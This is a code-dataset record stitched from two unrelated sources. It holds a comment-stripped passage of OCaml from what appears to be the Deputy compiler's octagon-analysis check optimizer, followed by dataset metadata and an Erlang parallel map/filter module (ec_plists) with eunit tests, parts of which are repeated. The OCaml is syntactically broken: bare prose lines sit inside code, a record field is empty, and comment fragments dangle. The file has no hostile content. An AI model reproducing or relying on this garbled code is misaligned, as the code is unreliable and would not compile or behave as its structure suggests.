| TPtr _ -> snd3(doExpLeq ~modify:true (BinOp(PlusPI,e1,one,typeOf e1)) e2 a)
| TInt _ -> snd3(doExpLeq ~modify:true (BinOp(PlusA,e1,one,typeOf e1)) e2 a)
| _ -> a
let isNonNull state e: bool = false
(isNonnullType (typeOf e)) ||
(match stripNopCasts e with
| BinOp((PlusPI|IndexPI|MinusPI), e1, e2, _) ->
let t1 = typeOf e1 in
isPointerType t1 && not (isSentinelType t1)
| AddrOf lv
| StartOf lv -> true
| Const(CStr _) -> true
| _ -> fst(doExpLeq one e state))
*)
let isFalse state e =
match e with
UnOp(LNot, e', _) -> isNonNull state e'
| _ -> isZero e
let addNonNull (state:absState) (lv: lval) : absState = state
let expToConjList (e:exp) : (exp list) =
let rec helper e l =
match e with
| BinOp(LAnd, e1, e2, _) ->
let l1 = helper e1 [] in
let l2 = helper e2 [] in
l@l1@l2
| _ -> e::l
in
helper e []
let rec simplifyBoolExp e =
match stripNopCasts e with
UnOp(LNot, UnOp(LNot, e, _), _) -> simplifyBoolExp e
| BinOp(Ne, e, z, _) when isZero z -> simplifyBoolExp e
| UnOp(LNot, BinOp(Eq, e, z, _), _) when isZero z -> simplifyBoolExp e
| UnOp(LNot, BinOp(Lt, e1, e2, t), _) ->
BinOp(Ge, e1, e2, t)
| UnOp(LNot, BinOp(Le, e1, e2, t), _) ->
BinOp(Gt, e1, e2, t)
| UnOp(LNot, BinOp(Gt, e1, e2, t), _) ->
BinOp(Le, e1, e2, t)
| UnOp(LNot, BinOp(Ge, e1, e2, t), _) ->
BinOp(Lt, e1, e2, t)
| e -> e
let doOneBranch (a:absState) (e:exp) : absState =
if !debug then
log "Guard %a.\n" dx_exp e;
let e = simplifyBoolExp e in
match e with
| BinOp(Lt, e1, e2, t) when isIntOrPtrType (typeOf e1) ->
let e1 = stripNopCasts e1 in
let e2 = stripNopCasts e2 in
doLess a e1 e2 ~signed:(isSignedType (typeOf e1))
| BinOp(Le, e1, e2, t) when isIntOrPtrType (typeOf e1) ->
let e1 = stripNopCasts e1 in
let e2 = stripNopCasts e2 in
doLessEq a e1 e2 ~signed:(isSignedType (typeOf e1))
| BinOp(Gt, e1, e2, t) when isIntOrPtrType (typeOf e1) ->
let e1 = stripNopCasts e1 in
let e2 = stripNopCasts e2 in
doLess a e2 e1 ~signed:(isSignedType (typeOf e1))
| BinOp(Ge, e1, e2, t) when isIntOrPtrType (typeOf e1) ->
let e1 = stripNopCasts e1 in
let e2 = stripNopCasts e2 in
doLessEq a e2 e1 ~signed:(isSignedType (typeOf e1))
| Lval lv ->
doLess a zero (Lval lv) ~signed:(isSignedType (typeOf (Lval lv)))
TODO : Add things here for BinOp(Eq , Ne ) and
a
let doBranch (a:absState) (e:exp) : absState =
let conjList = expToConjList e in
List.fold_left doOneBranch a conjList
let doMax a lv e1 e2 =
let a' = doLessEq a e1 (Lval lv) ~signed:(isSignedType(typeOf e1)) in
let a' = doLessEq a' e2 (Lval lv) ~signed:(isSignedType(typeOf e2)) in
a'
let processCheck a (c:check) : absState =
match c with
| CLeq(e1, e2, _) -> doLessEq a e1 e2 ~signed:false
| CLeqInt(e1, e2, _) -> doLessEq a e1 e2 ~signed:false
| CPtrArith(lo, hi, p, e, _) ->
let e' = BinOp(PlusPI,p,e,typeOf p) in
let a = doLessEq a lo e' ~signed:false in
doLessEq a e' hi ~signed:false
| CPtrArithNT(lo, hi, p, e, _) ->
let e' = BinOp(PlusPI,p,e,typeOf p) in
let a = doLessEq a lo e' ~signed:false in
| CPtrArithAccess(lo, hi, p, e, _) ->
let e' = BinOp(PlusPI,p,e,typeOf p) in
let a = doLessEq a lo e' ~signed: false in
doLessEq a (BinOp(PlusPI,p,BinOp(PlusA,e,one,typeOf e),typeOf p)) hi ~signed:false
| _ -> a
let doSet ~(state: absState) (dest: lval) (e:exp) : absState =
if !debug then log "doSet: %a := %a\n" dx_lval dest dx_exp e;
let ce = DCE.canonExp Int64.one e in
let cdest = DCE.canonExp Int64.one (Lval dest) in
let dlv =
match cdest.DCE.Can.cf with
| [(_,e)] -> begin
match e with
| Lval lv | StartOf lv | AddrOf lv -> lv
| _ -> begin
ignore(E.log "doSet: bad lval %a\n" d_plainexp e);
raise BadConExp
end
end
| _ -> begin
if !debug then
ignore(E.log "doSet: bad canon lval %a" d_plainexp e);
raise BadConExp
end
in
try
let (octcoefs, sSr) =
match ce.DCE.Can.cf with
| [] -> begin
let sSr = LvHash.find state.lvState dlv in
let numcs = O.dim (!sSr).octagon in
let coefs = Array.make (numcs + 1) 0 in
coefs.(numcs) <- Int64.to_int ce.DCE.Can.ct;
let octcoefs = O.vnum_of_int coefs in
(octcoefs, sSr)
end
| _ -> makeCoefVnum ce state
in
let destid = LvHash.find (!sSr).lvHash dlv in
let newoct = time "oct-assign" (O.assign_var (!sSr).octagon destid) octcoefs in
if !debug then ignore(E.log "doSet: {%a} %a <- %a {%a}\n"
d_oct (!sSr).octagon d_lval dest d_exp e d_oct newoct);
(!sSr).octagon <- newoct;
state
with
| BadConExp -> begin
if !debug then
ignore(E.log "doSet: BadConExp: %a\n" DCE.Can.d_t ce);
state
end
| Not_found ->
if !debug then
ignore(E.log "doSet: %a should be in the same family as %a"
d_lval dlv DCE.Can.d_t ce);
state
let int_list_union l1 l2 =
List.fold_left (fun l x ->
if List.mem x l then l else x :: l) l1 l2
let vi_list_union l1 l2 =
List.fold_left (fun l x ->
if List.exists (fun vi -> vi.vid = x.vid) l then l else x :: l)
l1 l2
let handleCall = P.handleCall (forgetMem ~globalsToo:true)
let fdato : DPF.functionData option ref = ref None
let flowHandleInstr a i =
match instrToCheck i with
| Some c -> processCheck a c
| None -> begin
match i with
| Set (lh, e, _) when compareExpStripCasts (Lval lh) e -> a
| Set ((Var _, _) as dest, e, _) ->
let anext = forgetLval a dest in
doSet ~state:anext dest e
| Set ((Mem e, _), _, _) ->
forgetMem a (Some e)
| Call (Some(Var vi, NoOffset), Lval(Var vf, NoOffset), [e1;e2], _)
when vf.vname = "deputy_max" -> begin
let a' = forgetLval a (Var vi, NoOffset) in
doMax a' (Var vi, NoOffset) e1 e2
end
| Call (Some (Var vi, NoOffset), f, args, _) when isPointerType vi.vtype ->
let a =
if is_deputy_instr i || (!ignore_call) i then
forgetLval a (Var vi, NoOffset)
else
handleCall (!fdato) f args (forgetLval a (Var vi, NoOffset))
forgetMem ~globalsToo : true ( forgetLval a ( , ) )
None
None*)
in
let rt, _, _, _ = splitFunctionType (typeOf f) in
if isNonnullType rt then
addNonNull a (Var vi, NoOffset)
else
a
| Call (Some lv, f, args, _) ->
if !ignore_call i || is_deputy_instr i then
forgetLval a lv
else
handleCall (!fdato) f args (forgetLval a lv)
| Call (_, f, args, _) ->
if (!ignore_call) i || is_deputy_instr i then a else
handleCall (!fdato) f args a
| Asm (_, _, writes, _, _, _) ->
let a = forgetMem a None in
List.fold_left (fun a (_,_,lv) ->
forgetLval a lv) a writes
end
make a copy of the absState
let absStateCopy (a: absState) =
let newSSRList = List.map (fun sSr ->
let newoct = (!sSr).octagon in
let newhash = (!sSr).lvHash in
let newSS = {octagon = newoct; lvHash = newhash} in
ref newSS) a.smallStates
in
let newold = List.combine newSSRList a.smallStates in
let newFromOld old = fst(List.find (fun (n,o) -> old == o) newold) in
let newSSHash = LvHash.create 10 in
LvHash.iter (fun lv sSr ->
LvHash.add newSSHash lv (newFromOld sSr)) a.lvState;
{lvState = newSSHash; smallStates = newSSRList}
let absStateEqual (a1: absState) (a2: absState) =
let not_equal =
List.exists (fun (sSr1,sSr2) ->
not(O.is_equal (!sSr1).octagon (!sSr2).octagon))
(List.combine a1.smallStates a2.smallStates)
in
not(not_equal)
let absStateWiden (old: absState) (newa: absState) =
List.iter (fun (old_sSr, new_sSr) ->
(!new_sSr).octagon <-
O.widening (!old_sSr).octagon (!new_sSr).octagon O.WidenFast)
(List.combine old.smallStates newa.smallStates)
let absStateUnion (old: absState) (newa: absState) =
List.iter (fun (old_sSr, new_sSr) ->
(!new_sSr).octagon <-
O.union (!old_sSr).octagon (!new_sSr).octagon)
(List.combine old.smallStates newa.smallStates)
module Flow = struct
let name = "DeputyOpt"
let debug = debug
type t = absState
let copy = time "oct-copy" absStateCopy
let stmtStartData = stateMap
let pretty = d_state
let computeFirstPredecessor s a = a
let combinePredecessors s ~(old:t) newa =
if time "oct-equal" (absStateEqual old) newa then None else
match s.skind with
| Loop(b, l, so1, so2) -> begin
if !debug then ignore(E.log "widening at sid: %d\n" s.sid);
time "oct-widen" (absStateWiden old) newa;
Some newa
end
| _ -> begin
time "oct-union" (absStateUnion old) newa;
Some newa
end
let doInstr i a =
if !debug then ignore(E.log "Visiting %a State is %a.\n" dn_instr i d_state a);
let newstate = flowHandleInstr a i in
DF.Done (newstate)
let doStmt s a =
curStmt := s.sid;
DF.SDefault
let doGuard e a =
if isFalse a e then DF.GUnreachable
else DF.GUse (doBranch (copy a) e)
let filterStmt s = true
end
module FlowEngine = DF.ForwardsDataFlow (Flow)
let printFailCond (tl : (bool * absState * doc option) list)
(c : check)
: bool
=
let ci = checkToInstr c in
List.fold_left (fun b1 (b2, _, fco) ->
(match fco with
| Some fc -> ignore(E.log "%a\n%t" dt_instr ci (fun () -> fc))
| None -> ());
b1 && b2)
true tl
let flowOptimizeCheck (c: check) ((inState, acc):(absState * check list))
: (absState * check list) =
let isNonNull = isNonNull inState in
Returns true if CPtrArith(lo , hi , , , sz ) can be optimized away :
let checkPtrArith lo hi p e : bool =
let e' = BinOp(PlusPI,p,e,typeOf p) in
printFailCond [doExpLeq lo e' inState; doExpLeq e' hi inState] c
in
Returns true if CPtrArithAccess(lo , hi , , , sz ) can be optimized away :
let checkPtrArithAccess lo hi p e : bool =
let e' = BinOp(PlusPI,p,e,typeOf p) in
let e'' = BinOp(PlusPI,p,BinOp(PlusA,e,one,typeOf e),typeOf p) in
printFailCond [doExpLeq lo e' inState; doExpLeq e'' hi inState] c
in
let checkPtrArithNT lo hi p e : bool =
let e' = BinOp(PlusPI,p,e,typeOf p) in
printFailCond [doExpLeq lo e' inState; doExpLeq ~fCE:false e' hi inState] c
in
Returns true if CLeq(e1 , e2 ) can be optimized away :
let checkLeq ?(fCE: bool = true) e1 e2 : bool =
printFailCond [doExpLeq ~fCE:fCE e1 e2 inState] c
in
let rec doOpt (c : check) : check option =
match c with
| CNonNull (e1) when isNonNull e1 ->
None
| CNonNull (e1) when isZero e1 ->
error "non-null check will always fail.";
Some c
| CNullOrLeq (e1, _, _, why)
| CNullOrLeqNT (e1, _, _, _, why) when isZero e1 ->
None
| CNullOrLeq (e1, e2, e3, why) when isNonNull e1 ->
doOpt (CLeq(e2, e3, why))
| CNullOrLeqNT (e1, e2, e3, e4, why) when isNonNull e1 ->
let c' = CLeqNT(e2, e3, e4, why) in
doOpt c'
| CPtrArithAccess(lo,hi,p,e,sz) when checkPtrArithAccess lo hi p e ->
None
| CPtrArith(lo, hi, p, e, sz) when checkPtrArith lo hi p e ->
None
| CPtrArithNT(lo, hi, p, e, sz) when checkPtrArithNT lo hi p e ->
None
| CLeqNT(e1,e2,_,_) when checkLeq ~fCE:false e1 e2 ->
None
| CLeq(e1, e2, _)
| CNullOrLeq(_, e1, e2, _)
| CNullOrLeqNT(_, e1, e2, _, _) when checkLeq e1 e2 ->
None
| CLeqInt(e1, (BinOp (MinusPP, hi, p, _)), _) ->
let e' = BinOp(PlusPI, p, e1, (typeOf p)) in
if checkLeq e' hi then
None
else
Some c
| _ -> Some c
in
let acc' = match doOpt c with
Some c -> c::acc | None -> acc
in
(processCheck inState c), acc'
class flowOptimizeVisitor tryReverse = object (self)
inherit nopCilVisitor
val mutable curSid = -1
method vstmt s =
let rec filterIl state il fl =
match il with
| [] -> List.rev fl
| i::rest -> begin
if !debug then ignore(E.log "filterIL: looking at %a in state %a\n"
d_instr i d_state state);
match instrToCheck i with
| Some c -> begin
let _, c' = flowOptimizeCheck c (state,[]) in
let new_state = flowHandleInstr state i in
match c' with
| [] -> begin
if !debug then ignore(E.log "fOV: in state %a, optimized %a out\n"
d_state state d_instr i);
filterIl new_state rest fl
end
| [nc] -> begin
let i' = checkToInstr nc in
if !debug then ignore(E.log "fOV: changed to %a out\n" d_instr i');
filterIl new_state rest (i'::fl)
end
| _ -> begin
if !debug then ignore(E.log "fOV: didn't optimize %a out\n" d_instr i);
filterIl new_state rest (i::fl)
end
end
| None ->
let new_state = flowHandleInstr state i in
filterIl new_state rest (i::fl)
end
in
begin
try
curSid <- s.sid;
let state = IH.find stateMap s.sid in
if !debug then
E.log "Optimizing statement %d with state %a\n" s.sid d_state state;
begin
match s.skind with
| If(e, blk1, blk2, l) when isNonNull state e ->
if hasALabel blk2 then
s.skind <- If(Cil.one, blk1, blk2, l)
else
s.skind <- Block blk1
| If(e, blk1, blk2, l) when isFalse state e ->
if hasALabel blk1 then
s.skind <- If(Cil.zero, blk1, blk2, l)
else
s.skind <- Block blk2
| Instr il ->
if tryReverse then
let il' = filterIl state il [] in
let (pre, rst) = prefix is_check_instr il' in
let il'' = filterIl state (List.rev pre) [] in
s.skind <- Instr((List.rev il'')@rst)
else
s.skind <- Instr(filterIl state il [])
| _ -> ()
end
stmt is unreachable
end;
DoChildren
method vfunc fd =
curFunc := fd;
let cleanup x =
curFunc := dummyFunDec;
x
in
ChangeDoChildrenPost (fd, cleanup)
end
lvh is a mapping from lvals to lval list refs
class lvalFamilyMakerClass lvh = object(self)
inherit nopCilVisitor
val mutable singCondVar = None
method private makeFamily ?(sing:bool=false) (ce: DCE.Can.t) =
if ! debug then ignore(E.log " Making family for : % a\n " DCE.Can.d_t ) ;
if sing then match ce.DCE.Can.cf with
| [(_, StartOf lv)]
| [(_, Lval lv)] -> singCondVar <- Some lv
| _ -> ()
else
List.iter (fun (_,e1) ->
List.iter (fun (_,e2) ->
match e1, e2 with
| Lval lv1, Lval lv2
| Lval lv1, StartOf lv2
| Lval lv1, AddrOf lv2
| StartOf lv1, Lval lv2
| StartOf lv1, StartOf lv2
| StartOf lv1, AddrOf lv2
| AddrOf lv1, Lval lv2
| AddrOf lv1, StartOf lv2
| AddrOf lv1, AddrOf lv2 -> begin
match lv1, lv2 with
| (Var vi, NoOffset), _ when vi.vname = "__LOCATION__" -> ()
| _, (Var vi, NoOffset) when vi.vname = "__LOCATION__" -> ()
| _ -> begin
match singCondVar with
| None ->
lvh := LvUf.make_equal (!lvh) lv1 lv2 Ptrnode.mkRIdent
| Some lv ->
let tlvh = LvUf.make_equal (!lvh) lv1 lv Ptrnode.mkRIdent in
lvh := LvUf.make_equal tlvh lv1 lv2 Ptrnode.mkRIdent
end
end
| _, _ -> ()) ce.DCE.Can.cf) ce.DCE.Can.cf
method vexpr e =
let ce = DCE.canonExp Int64.one e in
self#makeFamily ce;
DoChildren
method vinst i =
match i with
| Set(lv, e, _) -> begin
let ce = DCE.canonExp Int64.one e in
let lvce = DCE.canonExp Int64.one (Lval lv) in
let ce = {ce with DCE.Can.cf = } in
self#makeFamily ce;
DoChildren
end
| Call(Some lv, _, el, _) when is_deputy_instr i -> begin
let cel = List.map (DCE.canonExp Int64.one) el in
let cfll = List.map (fun ce -> ce.DCE.Can.cf) cel in
let cfl = List.concat cfll in
let ce = DCE.canonExp Int64.one (Lval lv) in
let ce = {ce with DCE.Can.cf = ce.DCE.Can.cf @ cfl} in
self#makeFamily ce;
DoChildren
end
| Call(_,_,el,_) when is_deputy_instr i -> begin
if el <> [] then
let cel = List.map (DCE.canonExp Int64.one) el in
let cfll = List.map (fun ce -> ce.DCE.Can.cf) cel in
let cfl = List.concat cfll in
let ce = DCE.canonExp Int64.one (List.hd el) in
let ce = {ce with DCE.Can.cf = ce.DCE.Can.cf @ cfl} in
self#makeFamily ce;
DoChildren
else DoChildren
end
| _ -> DoChildren
method vstmt s =
match s.skind with
| If(e, _, _, _) -> begin
let e = simplifyBoolExp e in
match e with
| BinOp(_, e1, e2, t) when isIntOrPtrType (typeOf e1) ->
let ce1 = DCE.canonExp Int64.one e1 in
let ce2 = DCE.canonExp Int64.one e2 in
let d = DCE.Can.sub ce2 ce1 ILong in
self#makeFamily ~sing:false d;
DoChildren
| _ -> DoChildren
end
| _ -> DoChildren
end
let famListsToAbsState lvh : absState =
if !debug then ignore(E.log "famListsToAbsState: begin\n");
let ssHash = LvHash.create 32 in
let sSrLstr = ref [] in
let lvlistlist = LvUf.eq_classes (!lvh) in
if !debug then ignore(E.log "famListsToAbsState: There are %d families\n"
(List.length lvlistlist));
List.iter (fun lvl ->
let newoct = O.universe (List.length lvl) in
let idHash = LvHash.create 10 in
let cr = ref 0 in
if !debug then ignore(E.log "Family: ");
List.iter (fun lv ->
if !debug then ignore(E.log "(%d, %a) " (!cr) d_lval lv);
LvHash.add idHash lv (!cr);
incr cr) lvl;
if !debug then ignore(E.log "\n");
let newssr = ref {octagon = newoct; lvHash = idHash} in
sSrLstr := newssr :: (!sSrLstr);
List.iter (fun lv ->
LvHash.add ssHash lv newssr)
lvl) lvlistlist;
{ lvState = ssHash; smallStates = !sSrLstr }
let lvFamsCreate fd =
let lvh = ref LvUf.empty in
let vis = new lvalFamilyMakerClass lvh in
if !debug then ignore(E.log "making lv hash for %s\n" fd.svar.vname);
try
ignore(visitCilFunction vis fd);
if !debug then ignore(E.log "lvFamsCreate: finished making lvh\n");
lvh
with x ->
ignore(E.log "lvFamsCreate: There was an exception in lvalFamilyMakerClass: %s\n"
(Printexc.to_string x));
raise x
let makeTop fd =
let lvh = lvFamsCreate fd in
if !debug then ignore(E.log "Making top for %s\n" fd.svar.vname);
famListsToAbsState lvh
let doOctAnalysis ?(tryReverse : bool=false)
(fd : fundec)
(fdat : DPF.functionData)
: unit =
try
if !debug then ignore(E.log "OctAnalysis: analyzing %s\n" fd.svar.vname);
IH.clear stateMap;
let fst = List.hd fd.sbody.bstmts in
let precs =
match IH.tryfind fdat.DPF.fdPCHash fd.svar.vid with
| None -> []
| Some cl -> cl
in
let t = List.fold_left flowHandleInstr (makeTop fd) precs in
IH.add stateMap fst.sid t;
if !debug then ignore(E.log "running flow engine for %s\n" fd.svar.vname);
totalChecks := 0;
totalAssert := 0;
octoCheckInsuf := 0;
octoAssertInsuf := 0;
interAssertInsuf := 0;
interCheckInsuf := 0;
time "oct-compute" FlowEngine.compute [fst];
if !debug then
E.log "%s: finished analysis; starting optimizations.\n" Flow.name;
ignore (time "oct-optim" (visitCilFunction (new flowOptimizeVisitor tryReverse)) fd);
IH.clear stateMap;
curStmt := -1;
()
with Failure "hd" -> ()
let reportStats() = ()
ignore(E.log " % d\n " ( ! ) ) ;
ignore(E.log " totalAssert % d\n " ( ! ) ) ;
ignore(E.log " interCheckInsuf % d\n " ( ! interCheckInsuf ) ) ;
ignore(E.log " interAssertInsuf % d\n " ( ! interAssertInsuf ) ) ;
ignore(E.log " octoCheckInsuf % d\n " ( ! octoCheckInsuf ) ) ;
ignore(E.log " octoAssertInsuf % d\n " ( ! octoAssertInsuf ) )
ignore(E.log "totalAssert %d\n" (!totalAssert));
ignore(E.log "interCheckInsuf %d\n" (!interCheckInsuf));
ignore(E.log "interAssertInsuf %d\n" (!interAssertInsuf));
ignore(E.log "octoCheckInsuf %d\n" (!octoCheckInsuf));
ignore(E.log "octoAssertInsuf %d\n" (!octoAssertInsuf))*)
|
5a72e9028bb275ab6c62bd8adc713e3834f6f4c9a95e8bba5752a4a40f9efd3f | spawngrid/htoad | ec_plists.erl | %%%-------------------------------------------------------------------
%%% @doc
simple parrallel map . Originally provided by
on the erlang questions mailing list .
%%% @end
%%%-------------------------------------------------------------------
-module(ec_plists).
-export([map/2,
map/3,
ftmap/2,
ftmap/3,
filter/2,
filter/3]).
%%=============================================================================
%% Public API
%%=============================================================================
%% @doc Takes a function and produces a list of the result of the function
%% applied to each element of the argument list. A timeout is optional.
%% In the event of a timeout or an exception the entire map will fail
%% with an excption with class throw.
-spec map(fun(), [any()]) -> [any()].
map(Fun, List) ->
map(Fun, List, infinity).
-spec map(fun(), [any()], non_neg_integer()) -> [any()].
map(Fun, List, Timeout) ->
run_list_fun_in_parallel(map, Fun, List, Timeout).
%% @doc Takes a function and produces a list of the result of the function
%% applied to each element of the argument list. A timeout is optional.
%% This function differes from regular map in that it is fault tolerant.
%% If a timeout or an exception occurs while processing an element in
the input list the ftmap operation will continue to function . Timeouts
%% and exceptions will be reflected in the output of this function.
%% All application level results are wrapped in a tuple with the tag
%% 'value'. Exceptions will come through as they are and timeouts will
%% return as the atom timeout.
%% This is useful when the ftmap is being used for side effects.
%% <pre>
2 > ftmap(fun(N ) - > factorial(N ) end , [ 1 , 2 , 1000000 , " not num " ] , 100 )
[ { value , 1 } , { value , 2 } , timeout , { badmatch , ... } ]
%% </pre>
-spec ftmap(fun(), [any()]) -> [{value, any()} | any()].
ftmap(Fun, List) ->
ftmap(Fun, List, infinity).
-spec ftmap(fun(), [any()], non_neg_integer()) -> [{value, any()} | any()].
ftmap(Fun, List, Timeout) ->
run_list_fun_in_parallel(ftmap, Fun, List, Timeout).
%% @doc Returns a list of the elements in the supplied list which
%% the function Fun returns true. A timeout is optional. In the
%% event of a timeout the filter operation fails.
-spec filter(fun(), [any()]) -> [any()].
filter(Fun, List) ->
filter(Fun, List, infinity).
-spec filter(fun(), [any()], integer()) -> [any()].
filter(Fun, List, Timeout) ->
run_list_fun_in_parallel(filter, Fun, List, Timeout).
%%=============================================================================
%% Internal API
%%=============================================================================
-spec run_list_fun_in_parallel(atom(), fun(), [any()], integer()) -> [any()].
run_list_fun_in_parallel(ListFun, Fun, List, Timeout) ->
LocalPid = self(),
Pids =
lists:map(fun(E) ->
Pid =
proc_lib:spawn(fun() ->
wait(LocalPid, Fun,
E, Timeout)
end),
{Pid, E}
end, List),
gather(ListFun, Pids).
-spec wait(pid(), fun(), any(), integer()) -> any().
wait(Parent, Fun, E, Timeout) ->
WaitPid = self(),
Child = spawn(fun() ->
do_f(WaitPid, Fun, E)
end),
wait(Parent, Child, Timeout).
-spec wait(pid(), pid(), integer()) -> any().
wait(Parent, Child, Timeout) ->
receive
{Child, Ret} ->
Parent ! {self(), Ret}
after Timeout ->
exit(Child, timeout),
Parent ! {self(), timeout}
end.
-spec gather(atom(), [any()]) -> [any()].
gather(map, PidElementList) ->
map_gather(PidElementList);
gather(ftmap, PidElementList) ->
ftmap_gather(PidElementList);
gather(filter, PidElementList) ->
filter_gather(PidElementList).
-spec map_gather([pid()]) -> [any()].
map_gather([{Pid, _E} | Rest]) ->
receive
{Pid, {value, Ret}} ->
[Ret|map_gather(Rest)];
%% timeouts fall here too. Should timeouts be a return value
%% or an exception? I lean toward return value, but the code
%% is easier with the exception. Thoughts?
{Pid, Exception} ->
killall(Rest),
throw(Exception)
end;
map_gather([]) ->
[].
-spec ftmap_gather([pid()]) -> [any()].
ftmap_gather([{Pid, _E} | Rest]) ->
receive
{Pid, Value} -> [Value|ftmap_gather(Rest)]
end;
ftmap_gather([]) ->
[].
-spec filter_gather([pid()]) -> [any()].
filter_gather([{Pid, E} | Rest]) ->
receive
{Pid, {value, false}} ->
filter_gather(Rest);
{Pid, {value, true}} ->
[E|filter_gather(Rest)];
{Pid, {value, NotBool}} ->
killall(Rest),
throw({bad_return_value, NotBool});
{Pid, Exception} ->
killall(Rest),
throw(Exception)
end;
filter_gather([]) ->
[].
-spec do_f(pid(), fun(), any()) -> no_return().
do_f(Parent, F, E) ->
try
Result = F(E),
Parent ! {self(), {value, Result}}
catch
_Class:Exception ->
%% Losing class info here, but since throw does not accept
%% that arg anyhow and forces a class of throw it does not
%% matter.
Parent ! {self(), Exception}
end.
-spec killall([pid()]) -> ok.
killall([{Pid, _E}|T]) ->
exit(Pid, kill),
killall(T);
killall([]) ->
ok.
%%=============================================================================
%% Tests
%%=============================================================================
-ifndef(NOTEST).
-include_lib("eunit/include/eunit.hrl").
map_good_test() ->
Results = map(fun(_) ->
ok
end,
lists:seq(1, 5), infinity),
?assertMatch([ok, ok, ok, ok, ok],
Results).
ftmap_good_test() ->
Results = ftmap(fun(_) ->
ok
end,
lists:seq(1, 3), infinity),
?assertMatch([{value, ok}, {value, ok}, {value, ok}],
Results).
filter_good_test() ->
Results = filter(fun(X) ->
X == show
end,
[show, show, remove], infinity),
?assertMatch([show, show],
Results).
map_timeout_test() ->
Results =
try
map(fun(T) ->
timer:sleep(T),
T
end,
[1, 100], 10)
catch
C:E -> {C, E}
end,
?assertMatch({throw, timeout}, Results).
ftmap_timeout_test() ->
Results = ftmap(fun(X) ->
timer:sleep(X),
true
end,
[100, 1], 10),
?assertMatch([timeout, {value, true}], Results).
filter_timeout_test() ->
Results =
try
filter(fun(T) ->
timer:sleep(T),
T == 1
end,
[1, 100], 10)
catch
C:E -> {C, E}
end,
?assertMatch({throw, timeout}, Results).
map_bad_test() ->
Results =
try
map(fun(_) ->
throw(test_exception)
end,
lists:seq(1, 5), infinity)
catch
C:E -> {C, E}
end,
?assertMatch({throw, test_exception}, Results).
ftmap_bad_test() ->
Results =
ftmap(fun(2) ->
throw(test_exception);
(N) ->
N
end,
lists:seq(1, 5), infinity),
?assertMatch([{value, 1}, test_exception, {value, 3},
{value, 4}, {value, 5}] , Results).
-endif.
| null | https://raw.githubusercontent.com/spawngrid/htoad/f0c7dfbd911b29fb0c406b7c26606f553af11194/deps/erlware_commons/src/ec_plists.erl | erlang | -------------------------------------------------------------------
@doc
@end
-------------------------------------------------------------------
=============================================================================
Public API
=============================================================================
@doc Takes a function and produces a list of the result of the function
applied to each element of the argument list. A timeout is optional.
In the event of a timeout or an exception the entire map will fail
with an excption with class throw.
@doc Takes a function and produces a list of the result of the function
applied to each element of the argument list. A timeout is optional.
This function differes from regular map in that it is fault tolerant.
If a timeout or an exception occurs while processing an element in
and exceptions will be reflected in the output of this function.
All application level results are wrapped in a tuple with the tag
'value'. Exceptions will come through as they are and timeouts will
return as the atom timeout.
This is useful when the ftmap is being used for side effects.
<pre>
</pre>
@doc Returns a list of the elements in the supplied list which
the function Fun returns true. A timeout is optional. In the
event of a timeout the filter operation fails.
=============================================================================
Internal API
=============================================================================
timeouts fall here too. Should timeouts be a return value
or an exception? I lean toward return value, but the code
is easier with the exception. Thoughts?
Losing class info here, but since throw does not accept
that arg anyhow and forces a class of throw it does not
matter.
=============================================================================
Tests
============================================================================= | simple parrallel map . Originally provided by
on the erlang questions mailing list .
-module(ec_plists).
-export([map/2,
map/3,
ftmap/2,
ftmap/3,
filter/2,
filter/3]).
-spec map(fun(), [any()]) -> [any()].
map(Fun, List) ->
map(Fun, List, infinity).
-spec map(fun(), [any()], non_neg_integer()) -> [any()].
map(Fun, List, Timeout) ->
run_list_fun_in_parallel(map, Fun, List, Timeout).
the input list the ftmap operation will continue to function . Timeouts
2 > ftmap(fun(N ) - > factorial(N ) end , [ 1 , 2 , 1000000 , " not num " ] , 100 )
[ { value , 1 } , { value , 2 } , timeout , { badmatch , ... } ]
-spec ftmap(fun(), [any()]) -> [{value, any()} | any()].
ftmap(Fun, List) ->
ftmap(Fun, List, infinity).
-spec ftmap(fun(), [any()], non_neg_integer()) -> [{value, any()} | any()].
ftmap(Fun, List, Timeout) ->
run_list_fun_in_parallel(ftmap, Fun, List, Timeout).
-spec filter(fun(), [any()]) -> [any()].
filter(Fun, List) ->
filter(Fun, List, infinity).
-spec filter(fun(), [any()], integer()) -> [any()].
filter(Fun, List, Timeout) ->
run_list_fun_in_parallel(filter, Fun, List, Timeout).
-spec run_list_fun_in_parallel(atom(), fun(), [any()], integer()) -> [any()].
run_list_fun_in_parallel(ListFun, Fun, List, Timeout) ->
LocalPid = self(),
Pids =
lists:map(fun(E) ->
Pid =
proc_lib:spawn(fun() ->
wait(LocalPid, Fun,
E, Timeout)
end),
{Pid, E}
end, List),
gather(ListFun, Pids).
-spec wait(pid(), fun(), any(), integer()) -> any().
wait(Parent, Fun, E, Timeout) ->
WaitPid = self(),
Child = spawn(fun() ->
do_f(WaitPid, Fun, E)
end),
wait(Parent, Child, Timeout).
-spec wait(pid(), pid(), integer()) -> any().
wait(Parent, Child, Timeout) ->
receive
{Child, Ret} ->
Parent ! {self(), Ret}
after Timeout ->
exit(Child, timeout),
Parent ! {self(), timeout}
end.
-spec gather(atom(), [any()]) -> [any()].
gather(map, PidElementList) ->
map_gather(PidElementList);
gather(ftmap, PidElementList) ->
ftmap_gather(PidElementList);
gather(filter, PidElementList) ->
filter_gather(PidElementList).
-spec map_gather([pid()]) -> [any()].
map_gather([{Pid, _E} | Rest]) ->
receive
{Pid, {value, Ret}} ->
[Ret|map_gather(Rest)];
{Pid, Exception} ->
killall(Rest),
throw(Exception)
end;
map_gather([]) ->
[].
-spec ftmap_gather([pid()]) -> [any()].
ftmap_gather([{Pid, _E} | Rest]) ->
receive
{Pid, Value} -> [Value|ftmap_gather(Rest)]
end;
ftmap_gather([]) ->
[].
-spec filter_gather([pid()]) -> [any()].
filter_gather([{Pid, E} | Rest]) ->
receive
{Pid, {value, false}} ->
filter_gather(Rest);
{Pid, {value, true}} ->
[E|filter_gather(Rest)];
{Pid, {value, NotBool}} ->
killall(Rest),
throw({bad_return_value, NotBool});
{Pid, Exception} ->
killall(Rest),
throw(Exception)
end;
filter_gather([]) ->
[].
-spec do_f(pid(), fun(), any()) -> no_return().
do_f(Parent, F, E) ->
try
Result = F(E),
Parent ! {self(), {value, Result}}
catch
_Class:Exception ->
Parent ! {self(), Exception}
end.
-spec killall([pid()]) -> ok.
killall([{Pid, _E}|T]) ->
exit(Pid, kill),
killall(T);
killall([]) ->
ok.
-ifndef(NOTEST).
-include_lib("eunit/include/eunit.hrl").
map_good_test() ->
Results = map(fun(_) ->
ok
end,
lists:seq(1, 5), infinity),
?assertMatch([ok, ok, ok, ok, ok],
Results).
